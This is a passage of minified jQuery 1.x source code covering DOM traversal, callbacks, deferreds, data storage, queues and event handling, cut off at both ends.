this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=w.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.uniqueSort(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function F(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return u(a,"parentNode")},parentsUntil:function(a,b,c){return u(a,"parentNode",c)},next:function(a){return F(a,"nextSibling")},prev:function(a){return F(a,"previousSibling")},nextAll:function(a){return u(a,"nextSibling")},prevAll:function(a){return u(a,"previousSibling")},nextUntil:function(a,b,c){return u(a,"nextSibling",c)},prevUntil:function(a,b,c){return u(a,"previousSibling",c)},siblings:function(a){return v((a.parentNode||{}).firstChild,a)},children:function(a){return v(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(E[a]||(e=n.uniqueSort(e)),D.test(a)&&(e=e.reverse())),this.pushStack(e)}});var G=/\S+/g;function H(a){var b={};return n.each(a.match(G)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?H(a):n.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){n.each(b,function(b,c){n.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==n.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return n.each(arguments,function(a,b){var c;while((c=n.inArray(b,f,c))>-1)f.splice(c,1),h>=c&&h--}),this},has:function(a){return a?n.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=!0,c||j.disable(),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().progress(c.notify).done(c.resolve).fail(c.reject):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=e.call(arguments),d=c.length,f=1!==d||a&&n.isFunction(a.promise)?d:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length>1?e.call(arguments):d,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(d>1)for(i=new Array(d),j=new Array(d),k=new Array(d);d>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().progress(h(b,j,i)).done(h(b,k,c)).fail(g.reject):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(d,[n]),n.fn.triggerHandler&&(n(d).triggerHandler("ready"),n(d).off("ready"))))}});function J(){d.addEventListener?(d.removeEventListener("DOMContentLoaded",K),a.removeEventListener("load",K)):(d.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(d.addEventListener||"load"===a.event.type||"complete"===d.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll)a.setTimeout(n.ready);else if(d.addEventListener)d.addEventListener("DOMContentLoaded",K),a.addEventListener("load",K);else{d.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&d.documentElement}catch(e){}c&&c.doScroll&&!function f(){if(!n.isReady){try{c.doScroll("left")}catch(b){return a.setTimeout(f,50)}J(),n.ready()}}()}return I.promise(b)},n.ready.promise();var L;for(L in n(l))break;l.ownFirst="0"===L,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c,e;c=d.getElementsByTagName("body")[0],c&&c.style&&(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",l.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(e))}),function(){var a=d.createElement("div");l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}a=null}();var M=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b},N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0;
- }return c}function Q(a){var b;for(b in a)if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;return!0}function R(a,b,d,e){if(M(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),"object"!=typeof b&&"function"!=typeof b||(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(M(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=void 0)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?n.queue(this[0],a):void 0===b?this:this.each(function(){var c=n.queue(this,a,b);n._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&n.dequeue(this,a)})},dequeue:function(a){return this.each(function(){n.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=n.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=n._data(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}}),function(){var a;l.shrinkWrapBlocks=function(){if(null!=a)return a;a=!1;var b,c,e;return c=d.getElementsByTagName("body")[0],c&&c.style?(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",b.appendChild(d.createElement("div")).style.width="5px",a=3!==b.offsetWidth),c.removeChild(e),a):void 0}}();var T=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,U=new RegExp("^(?:([+-])=|)("+T+")([a-z%]*)$","i"),V=["Top","Right","Bottom","Left"],W=function(a,b){return a=b||a,"none"===n.css(a,"display")||!n.contains(a.ownerDocument,a)};function X(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return n.css(a,b,"")},i=h(),j=c&&c[3]||(n.cssNumber[b]?"":"px"),k=(n.cssNumber[b]||"px"!==j&&+i)&&U.exec(n.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,n.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var Y=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)Y(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},Z=/^(?:checkbox|radio)$/i,$=/<([\w:-]+)/,_=/^$|\/(?:java|ecma)script/i,aa=/^\s+/,ba="abbr|article|aside|audio|bdi|canvas|data|datalist|details|dialog|figcaption|figure|footer|header|hgroup|main|mark|meter|nav|output|picture|progress|section|summary|template|time|video";function ca(a){var b=ba.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}!function(){var a=d.createElement("div"),b=d.createDocumentFragment(),c=d.createElement("input");a.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",l.leadingWhitespace=3===a.firstChild.nodeType,l.tbody=!a.getElementsByTagName("tbody").length,l.htmlSerialize=!!a.getElementsByTagName("link").length,l.html5Clone="<:nav></:nav>"!==d.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,b.appendChild(c),l.appendChecked=c.checked,a.innerHTML="<textarea>x</textarea>",l.noCloneChecked=!!a.cloneNode(!0).lastChild.defaultValue,b.appendChild(a),c=d.createElement("input"),c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),a.appendChild(c),l.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!!a.addEventListener,a[n.expando]=1,l.attributes=!a.getAttribute(n.expando)}();var da={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:l.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]};da.optgroup=da.option,da.tbody=da.tfoot=da.colgroup=da.caption=da.thead,da.th=da.td;function ea(a,b){var c,d,e=0,f="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,ea(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function fa(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}var ga=/<|&#?\w+;/,ha=/<tbody/i;function ia(a){Z.test(a.type)&&(a.defaultChecked=a.checked)}function ja(a,b,c,d,e){for(var f,g,h,i,j,k,m,o=a.length,p=ca(b),q=[],r=0;o>r;r++)if(g=a[r],g||0===g)if("object"===n.type(g))n.merge(q,g.nodeType?[g]:g);else if(ga.test(g)){i=i||p.appendChild(b.createElement("div")),j=($.exec(g)||["",""])[1].toLowerCase(),m=da[j]||da._default,i.innerHTML=m[1]+n.htmlPrefilter(g)+m[2],f=m[0];while(f--)i=i.lastChild;if(!l.leadingWhitespace&&aa.test(g)&&q.push(b.createTextNode(aa.exec(g)[0])),!l.tbody){g="table"!==j||ha.test(g)?"<table>"!==m[1]||ha.test(g)?0:i:i.firstChild,f=g&&g.childNodes.length;while(f--)n.nodeName(k=g.childNodes[f],"tbody")&&!k.childNodes.length&&g.removeChild(k)}n.merge(q,i.childNodes),i.textContent="";while(i.firstChild)i.removeChild(i.firstChild);i=p.lastChild}else q.push(b.createTextNode(g));i&&p.removeChild(i),l.appendChecked||n.grep(ea(q,"input"),ia),r=0;while(g=q[r++])if(d&&n.inArray(g,d)>-1)e&&e.push(g);else if(h=n.contains(g.ownerDocument,g),i=ea(p.appendChild(g),"script"),h&&fa(i),c){f=0;while(g=i[f++])_.test(g.type||"")&&c.push(g)}return i=null,p}!function(){var b,c,e=d.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(l[b]=c in a)||(e.setAttribute(c,"t"),l[b]=e.attributes[c].expando===!1);e=null}();var ka=/^(?:input|select|textarea)$/i,la=/^key/,ma=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,na=/^(?:focusinfocus|focusoutblur)$/,oa=/^([^.]*)(?:\.(.+)|)/;function pa(){return!0}function qa(){return!1}function ra(){try{return d.activeElement}catch(a){}}function sa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)sa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=qa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return n().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=n.guid++)),a.each(function(){n.event.add(this,b,e,d,c)})}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return"undefined"==typeof n||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(G)||[""],h=b.length;while(h--)f=oa.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(G)||[""],j=b.length;while(j--)if(h=oa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,e,f){var g,h,i,j,l,m,o,p=[e||d],q=k.call(b,"type")?b.type:b,r=k.call(b,"namespace")?b.namespace.split("."):[];if(i=m=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!na.test(q+n.event.triggered)&&(q.indexOf(".")>-1&&(r=q.split("."),q=r.shift(),r.sort()),h=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=r.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:n.makeArray(c,[b]),l=n.event.special[q]||{},f||!l.trigger||l.trigger.apply(e,c)!==!1)){if(!f&&!l.noBubble&&!n.isWindow(e)){for(j=l.delegateType||q,na.test(j+q)||(i=i.parentNode);i;i=i.parentNode)p.push(i),m=i;m===(e.ownerDocument||d)&&p.push(m.defaultView||m.parentWindow||a)}o=0;while((i=p[o++])&&!b.isPropagationStopped())b.type=o>1?j:l.bindType||q,g=(n._data(i,"events")||{})[b.type]&&n._data(i,"handle"),g&&g.apply(i,c),g=h&&i[h],g&&g.apply&&M(i)&&(b.result=g.apply(i,c),b.result===!1&&b.preventDefault());if(b.type=q,!f&&!b.isDefaultPrevented()&&(!l._default||l._default.apply(p.pop(),c)===!1)&&M(e)&&h&&e[q]&&!n.isWindow(e)){m=e[h],m&&(e[h]=null),n.event.triggered=q;try{e[q]()}catch(s){}n.event.triggered=void 0,m&&(e[h]=m)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,d,f,g,h=[],i=e.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())a.rnamespace&&!a.rnamespace.test(g.namespace)||(a.handleObj=g,a.data=g.data,d=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==d&&(a.result=d)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>-1:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},fix:function(a){if(a[n.expando])return a;var b,c,e,f=a.type,g=a,h=this.fixHooks[f];h||(this.fixHooks[f]=h=ma.test(f)?this.mouseHooks:la.test(f)?this.keyHooks:{}),e=h.props?this.props.concat(h.props):this.props,a=new n.Event(g),b=e.length;while(b--)c=e[b],a[c]=g[c];return a.target||(a.target=g.srcElement||d),3===a.target.nodeType&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,h.filter?h.filter(a,g):a},props:"altKey bubbles cancelable ctrlKey currentTarget detail eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,b){var c,e,f,g=b.button,h=b.fromElement;return null==a.pageX&&null!=b.clientX&&(e=a.target.ownerDocument||d,f=e.documentElement,c=e.body,a.pageX=b.clientX+(f&&f.scrollLeft||c&&c.scrollLeft||0)-(f&&f.clientLeft||c&&c.clientLeft||0),a.pageY=b.clientY+(f&&f.scrollTop||c&&c.scrollTop||0)-(f&&f.clientTop||c&&c.clientTop||0)),!a.relatedTarget&&h&&(a.relatedTarget=h===a.target?b.toElement:h),a.which||void 0===g||(a.which=1&g?1:2&g?3:4&g?2:0),a}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==ra()&&this.focus)try{return this.focus(),!1}catch(a){}},delegateType:"focusin"},blur:{trigger:function(){return this===ra()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return n.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(a){return n.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c){var d=n.extend(new n.Event,c,{type:a,isSimulated:!0});n.event.trigger(d,null,b),d.isDefaultPrevented()&&c.preventDefault()}},n.removeEvent=d.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)}:function(a,b,c){var d="on"+b;a.detachEvent&&("undefined"==typeof a[d]&&(a[d]=null),a.detachEvent(d,c))},n.Event=function(a,b){return this instanceof n.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?pa:qa):this.type=a,b&&n.extend(this,b),this.timeStamp=a&&a.timeStamp||n.now(),void(this[n.expando]=!0)):new n.Event(a,b)},n.Event.prototype={constructor:n.Event,isDefaultPrevented:qa,isPropagationStopped:qa,isImmediatePropagationStopped:qa,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=pa,a&&(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=pa,a&&!this.isSimulated&&(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=pa,a&&a.stopImmediatePropagation&&a.stopImmediatePropagation(),this.stopPropagation()}},n.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){n.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||n.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),l.submit||(n.event.special.submit={setup:function(){return n.nodeName(this,"form")?!1:void n.event.add(this,"click._submit keypress._submit",function(a){var b=a.target,c=n.nodeName(b,"input")||n.nodeName(b,"button")?n.prop(b,"form"):void 0;c&&!n._data(c,"submit")&&(n.event.add(c,"submit._submit",function(a){a._submitBubble=!0}),n._data(c,"submit",!0))})},postDispatch:function(a){a._submitBubble&&(delete a._submitBubble,this.parentNode&&!a.isTrigger&&n.event.simulate("submit",this.parentNode,a))},teardown:function(){return n.nodeName(this,"form")?!1:void n.event.remove(this,"._submit")}}),l.change||(n.event.special.change={setup:function(){return ka.test(this.nodeName)?("checkbox"!==this.type&&"radio"!==this.type||(n.event.add(this,"propertychange._change",function(a){"checked"===a.originalEvent.propertyName&&(this._justChanged=!0)}),n.event.add(this,"click._change",function(a){this._justChanged&&!a.isTrigger&&(this._justChanged=!1),n.event.simulate("change",this,a)})),!1):void n.event.add(this,"beforeactivate._change",function(a){var b=a.target;ka.test(b.nodeName)&&!n._data(b,"change")&&(n.event.add(b,"change._change",function(a){!this.parentNode||a.isSimulated||a.isTrigger||n.event.simulate("change",this.parentNode,a)}),n._data(b,"change",!0))})},handle:function(a){var b=a.target;return this!==b||a.isSimulated||a.isTrigger||"radio"!==b.type&&"checkbox"!==b.type?a.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return n.event.remove(this,"._change"),!ka.test(this.nodeName)}}),l.focusin||n.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){n.event.simulate(b,a.target,n.event.fix(a))};n.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=n._data(d,b);e||d.addEventListener(a,c,!0),n._data(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=n._data(d,b)-1;e?n._data(d,b,e):(d.removeEventListener(a,c,!0),n._removeData(d,b))}}}),n.fn.extend({on:function(a,b,c,d){return sa(this,a,b,c,d)},one:function(a,b,c,d){return sa(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,n(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=qa),this.each(function(){n.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){n.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?n.event.trigger(a,b,c,!0):void 0}});var ta=/ jQuery\d+="(?:null|\d+)"/g,ua=new RegExp("<(?:"+ba+")[\\s/>]","i"),va=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,wa=/<script|<style|<link/i,xa=/checked\s*(?:[^=]|=\s*.checked.)/i,ya=/^true\/(.*)/,za=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Aa=ca(d),Ba=Aa.appendChild(d.createElement("div"));function Ca(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function Da(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function Ea(a){var b=ya.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Ga(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in 